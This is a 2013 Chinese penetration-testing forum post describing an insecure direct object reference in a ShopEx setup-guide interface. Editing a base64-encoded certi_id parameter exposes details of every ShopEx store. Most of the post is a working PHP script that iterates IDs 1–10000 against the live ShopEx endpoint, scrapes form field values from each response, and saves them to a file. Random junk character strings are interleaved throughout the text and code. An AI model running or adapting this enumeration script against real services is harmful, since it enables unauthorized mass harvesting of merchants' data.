中国网络渗透测试联盟

标题: ShopEx某接口缺陷可遍历所有用户网站 [打印本页]

---

作者: admin    时间: 2013-9-21 15:59
标题: ShopEx某接口缺陷可遍历所有用户网站
简要描述：
2 u8 {3 n% p1 VShopEx某接口缺陷,可遍历所有网站
详细说明：
' Q0 z+ y5 k' Z; y3 [: [( M问题出现在shopex 网店使用向导页面


- m8 I0 t9 f. o- q; p* q- m
0 ?# X- u# }; Chttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

8 R  I7 K/ ~4 j, f/ _3 N- }, s
( n( T0 W- c* b3 J& B/ K. y
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

/ v) y, _7 _0 T+ I: V

我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
( h' }' s- y' b9 l* ]4 Q" q0 f


' @" v; T/ T3 Z( R<?php

                for ($i=1; $i < 10000; $i++) { //遍历
6 K* {' l" y' u
                        ShowshopExD($i);
* [- z: k/ m: _: g9 o3 b: ^/ y
                }

( r) e6 [8 A5 T/ ~' u& s) @                function ShowshopExD($cid) {
$ i1 F$ L3 ~7 d) x
                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
( e" P2 N# x; `$ p3 t4 a- X. Z
# |: H0 @3 o+ Q# ]$ s' s! F$ F        $url = $url.'?refer='.$refer;
. T1 p6 @3 |, H, p9 b* b
6 o6 g6 S0 V6 Y; j        $ch = curl_init($url);

0 n8 N/ g! l( ?- s& i        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

: Z1 @# Q1 u* \6 x9 s        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
' A  |7 ]) B$ L7 o3 f" @* g
: B" a  p5 t9 ~1 R        $result = curl_exec($ch);
1 J9 B' e, X: s6 B  A
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
0 C7 b' O4 Z' ^9 l, f
1 K9 n$ ~: M6 j! x- Y; G        if(strpos($result,$refer))
! p: k& g4 N: u. c( i5 V1 \5 h
( @% E# a' T$ V* m1 ^6 @& t        {
* V. v& t" S9 J) K
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
% r/ s* H2 a7 i( J- t
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

6 K' K; p& T) a( Y# D" w3 N                foreach ($value[1] as $key) {
. w8 e- A3 F1 j* X9 w
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
" }" m) t4 p* U) W
                        echo $res[1][0].':'.$res[3][0]."\r\n";
) c& W9 ^* P& [7 D$ A
                        $col =$res[1][0].':'.$res[3][0]."\r\n";
$ z5 {% \$ x2 L% \6 s
                        fwrite($fp, $col, strlen($col));
9 S# a3 y! u1 m
                }

: L3 `3 c4 f! E, Y8 L  P                echo '--------------------------------'."\r\n";

                fclose($fp);
6 i' T: F/ o3 X4 r
        }

3 ?/ o) Y! O. @' U9 h. n. [6 e: Z        flush();
* [& M+ ^2 c% z2 H) ]  v* B- D, Y/ h
        curl_close($ch);

  i6 N  X3 {3 i1 U+ ~% T. A9 p                }
1 Z* y$ T" X) K% Z# [7 O$ m( u1 W% \
?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2